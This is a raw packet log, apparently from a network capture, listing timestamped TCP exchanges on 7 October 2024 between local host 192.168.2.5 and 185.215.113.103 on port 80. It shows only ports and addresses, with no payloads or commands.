Oct 7, 2024 13:27:26.797318935 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.797327042 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.797332048 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.797347069 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.797354937 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.797358990 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.797372103 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.797374010 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.797383070 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.797395945 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.797400951 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.797425985 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.797441006 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.798212051 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.798226118 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.798235893 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.798248053 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.798268080 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.798273087 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.798279047 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.798294067 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.798305988 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.798310041 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.798319101 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.798327923 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.798331976 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.798341990 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.798373938 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.799144983 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.799160004 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.799170971 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.799182892 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.799195051 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.799201965 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.799207926 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.799216986 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.799221039 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.799233913 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.799236059 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.799246073 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.799257994 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.799263954 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.799271107 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.799289942 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.799310923 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.800038099 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.800052881 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.800064087 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.800076962 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.800088882 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.800095081 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.800127983 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.827824116 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.827841997 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.827856064 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.827899933 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.827955961 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.827985048 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.827997923 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.828011036 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.828026056 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.828031063 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.828042984 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.828073025 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.828408003 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.828421116 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.828433037 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.828444958 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.828457117 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.828468084 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.828469038 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.828481913 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.828494072 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.828495026 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.828510046 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.828514099 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.828532934 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.828666925 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.829142094 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.829153061 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.829164982 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.829176903 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.829190969 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.829200029 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.829209089 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.829252005 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.829586983 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.829601049 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.829612017 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.829626083 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.829638004 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.829638004 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.829653025 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.829663038 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.829693079 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.850011110 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.850039959 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.850050926 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.850106955 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.850131035 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.850143909 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.850157976 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.850172043 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.850191116 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.850286961 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.850300074 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.850334883 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.850363016 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.884030104 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.884046078 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.884059906 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.884105921 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.884147882 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.884268045 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.884279013 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.884289980 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.884300947 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.884301901 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.884315968 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.884320021 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.884346962 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.884536028 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.884547949 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.884557962 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.884569883 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.884571075 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.884584904 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.884603024 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.884629965 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.884864092 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.884876013 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.884886980 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.884912968 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.884939909 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.885123968 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.885144949 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.885157108 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.885168076 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.885179996 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.885186911 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.885191917 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.885209084 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.885219097 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.885225058 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.885234118 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.885274887 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.885802984 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.885812998 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.885824919 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.885838985 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.885848045 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.885853052 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.885865927 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.885867119 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.885879040 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.885895014 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.885899067 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.885906935 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.885920048 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.885931015 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.885936022 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.885946989 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.885951996 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.885967016 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.885993958 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.886745930 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.886759043 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.886770964 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.886781931 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.886794090 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.886801004 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.886806011 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.886817932 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.886822939 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.886831045 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.886843920 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.886853933 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.886857033 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.886871099 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.886873960 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.886892080 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.886918068 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.887541056 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.887552977 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.887563944 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.887574911 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.887579918 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.887592077 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.887598038 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.887603998 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.887607098 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.887610912 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.887624025 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.887639046 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.887650013 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.887653112 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.887665033 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.887691975 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.888443947 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.888457060 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.888468027 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.888478994 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.888490915 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.888500929 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.888503075 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.888516903 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.888529062 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.888540983 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.888544083 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.888552904 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.888564110 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.888566971 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.888582945 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.888597965 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.889391899 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.889406919 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.889417887 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.889430046 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.889441967 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.889453888 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.889452934 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.889467001 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.889478922 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.889488935 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.889492035 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.889504910 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.889516115 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.889518023 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.889530897 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.889538050 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.889553070 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.889579058 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.890259027 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.890289068 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.890327930 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.890357018 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.918315887 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.918332100 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.918344975 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.918395042 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.918445110 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.918458939 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.918467999 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.918481112 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.918482065 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.918493986 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.918499947 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.918509960 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.918515921 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.918533087 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.918550968 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.918850899 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.918863058 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.918875933 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.918896914 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.918898106 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.918910980 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.918915987 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.918924093 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.918937922 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.918943882 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.918960094 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.918983936 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.919455051 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.919466972 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.919478893 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.919491053 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.919502974 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.919507027 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.919513941 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.919531107 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.919540882 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.919547081 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.919569969 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.919987917 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.920000076 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.920011044 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.920022964 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.920033932 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.920042992 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.920062065 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.920320988 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.920358896 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.940651894 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.940670013 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.940682888 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.940725088 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.940726995 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.940741062 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.940753937 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.940768957 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.940777063 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.940793037 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.940824032 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.940932035 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.940968037 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.974638939 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.974657059 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.974670887 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.974714041 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.974744081 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.974756002 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.974767923 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.974781036 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.974783897 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.974819899 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.974991083 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.975003958 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.975016117 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.975027084 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.975068092 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.975263119 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.975275993 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.975287914 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.975300074 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.975303888 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.975313902 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.975334883 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.975337982 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.975358963 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.975399971 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.975560904 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.975616932 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.975617886 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.975632906 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.975646019 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.975658894 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.975677013 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.975687981 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.975848913 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.975862026 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.975872993 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.975907087 CEST	80	50023	185.215.113.103	192.168.2.5
